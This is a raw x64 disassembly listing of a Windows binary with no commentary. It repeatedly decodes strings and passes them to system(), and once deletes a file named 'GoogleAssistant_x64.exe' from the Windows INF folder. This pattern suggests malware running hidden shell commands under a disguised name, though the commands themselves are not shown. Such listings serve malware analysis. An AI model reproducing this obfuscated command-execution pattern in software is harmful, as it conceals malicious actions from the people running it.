mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063c90
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063e40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ff0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400641a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064350
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064500
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400646b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064860
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064a10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064bc0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064d70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140064f20
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsINFGoogleAssistant_x64.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400650d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065280
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400653d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065520
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066630
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066740
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066900
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066ac0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066c70
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066db0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066e80
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066f40
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067000
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400670f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400671d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400672c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400673a0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067460
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067520
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400675e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400676e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400677e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400678f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400679f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067af0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065280
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400653d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065520
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065670
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400657c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065910
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065a60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065bb0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065e50
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140065fa0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400660f0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066240
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140066390
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400664e0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067bf0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067d00
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067e10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140067f10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068030
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068150
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068280
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400683b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400684b0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400685c0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.1400686d0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068830
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068970
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068ac0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068c10
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140068d60
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063930
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063ae0
mov rcx, rax
call fcn.14004e230
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x30]
call fcn.140063c90
